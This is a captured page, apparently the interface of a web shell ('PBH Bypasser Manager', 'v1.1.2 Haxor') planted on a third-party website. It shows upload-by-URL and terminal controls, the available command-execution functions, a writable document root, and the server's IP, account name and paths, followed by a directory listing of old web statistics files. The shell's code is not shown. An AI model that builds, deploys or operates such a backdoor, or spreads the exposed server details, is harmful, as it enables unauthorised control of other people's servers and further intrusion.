🌸 www.peopleprofitspensions.com

PBH Bypasser Manager | Use your logic to penetrate all Security

v1.1.2 Haxor
Home
0 item(s) selected

Quick Upload

Upload via URL

Single File

Multiple Files

Server Information

SERVER INFO

Software Apache
PHP Version 7.3.33
OS Linux
Server Name www.peopleprofitspensions.com
SSL Enabled

NETWORK & USER

Server IP 192.249.116.253
Your IP 216.73.217.68
User people68
Group people68
Document Root /home/people68/public_html

PHP LIMITS

Upload Max 512M
Post Max Size 512M
Memory Limit 768M
Max Execution 0s
Disabled Functions None

WRITABLE CHECK

Temp Dir Writable
Document Root Writable
Server Time 2026-09-22 14:20:41
Timezone UTC

TERMINAL FUNCTIONS

Shell Exec Exec System Passthru Popen Proc Open PCNTL Exec
NameSizePermissionsModifiedOwnerActions
.htaccess 232 B 0644 2026-09-14 17:12:38 people68
ctry_usage_201406.png 2.2 KB 0644 2014-06-28 12:05:17 people68
ctry_usage_201407.png 2.21 KB 0644 2014-07-18 12:17:04 people68
ctry_usage_201409.png 2.24 KB 0644 2014-09-11 13:58:47 people68
ctry_usage_201410.png 2.21 KB 0644 2014-10-25 16:56:34 people68
ctry_usage_201503.png 2.2 KB 0644 2015-03-15 15:03:34 people68
ctry_usage_201506.png 2.21 KB 0644 2015-06-22 12:46:42 people68
ctry_usage_201507.png 2.22 KB 0644 2015-07-22 12:34:59 people68
ctry_usage_201510.png 2.24 KB 0644 2015-10-31 12:34:41 people68
ctry_usage_201511.png 2.25 KB 0644 2015-11-02 12:39:35 people68
ctry_usage_201605.png 2.19 KB 0644 2016-05-24 08:22:48 people68
ctry_usage_201611.png 2.22 KB 0644 2016-11-19 05:56:19 people68
daily_usage_201406.png 2.53 KB 0644 2014-06-28 12:05:17 people68
daily_usage_201407.png 2.93 KB 0644 2014-07-18 12:17:04 people68
daily_usage_201409.png 2.54 KB 0644 2014-09-11 13:58:47 people68
daily_usage_201410.png 2.46 KB 0644 2014-10-25 16:56:34 people68
daily_usage_201503.png 2.55 KB 0644 2015-03-15 15:03:34 people68
daily_usage_201506.png 2.45 KB 0644 2015-06-22 12:46:42 people68
daily_usage_201507.png 2.57 KB 0644 2015-07-22 12:34:59 people68
daily_usage_201510.png 2.59 KB 0644 2015-10-31 12:34:41 people68
daily_usage_201511.png 2.37 KB 0644 2015-11-02 12:39:35 people68
daily_usage_201605.png 2.42 KB 0644 2016-05-24 08:22:48 people68
daily_usage_201611.png 2.39 KB 0644 2016-11-19 05:56:19 people68
dns_cache.db 12 KB 0644 2016-11-19 05:56:19 people68
hourly_usage_201406.png 1.59 KB 0644 2014-06-28 12:05:17 people68
hourly_usage_201407.png 1.73 KB 0644 2014-07-18 12:17:04 people68
hourly_usage_201409.png 1.62 KB 0644 2014-09-11 13:58:47 people68
hourly_usage_201410.png 1.58 KB 0644 2014-10-25 16:56:34 people68
hourly_usage_201503.png 1.66 KB 0644 2015-03-15 15:03:34 people68
hourly_usage_201506.png 1.55 KB 0644 2015-06-22 12:46:42 people68
hourly_usage_201507.png 1.56 KB 0644 2015-07-22 12:34:59 people68
hourly_usage_201510.png 1.62 KB 0644 2015-10-31 12:34:41 people68
hourly_usage_201511.png 1.53 KB 0644 2015-11-02 12:39:35 people68
hourly_usage_201605.png 1.54 KB 0644 2016-05-24 08:22:48 people68
hourly_usage_201611.png 1.54 KB 0644 2016-11-19 05:56:19 people68
index.html 9.23 KB 0644 2016-11-19 05:56:19 people68
usage.png 2.19 KB 0644 2016-11-19 05:56:19 people68
usage_201406.html 45.86 KB 0644 2014-06-28 12:05:17 people68
usage_201407.html 55.54 KB 0644 2014-07-18 12:17:04 people68
usage_201409.html 47.35 KB 0644 2014-09-11 13:58:47 people68
usage_201410.html 44.56 KB 0644 2014-10-25 16:56:34 people68
usage_201503.html 48.32 KB 0644 2015-03-15 15:03:34 people68
usage_201506.html 44.59 KB 0644 2015-06-22 12:46:42 people68
usage_201507.html 54.8 KB 0644 2015-07-22 12:34:59 people68
usage_201510.html 53.21 KB 0644 2015-10-31 12:34:41 people68
usage_201511.html 30.62 KB 0644 2015-11-02 12:39:35 people68
usage_201605.html 45.47 KB 0644 2016-05-24 08:22:48 people68
usage_201611.html 30.63 KB 0644 2016-11-19 05:56:19 people68
webalizer.current 1.23 KB 0644 2016-11-19 05:56:19 people68
webalizer.hist 2.88 KB 0644 2016-11-19 05:56:19 people68

Terminal (Working dir: /home/people68/tmp/webalizerftp)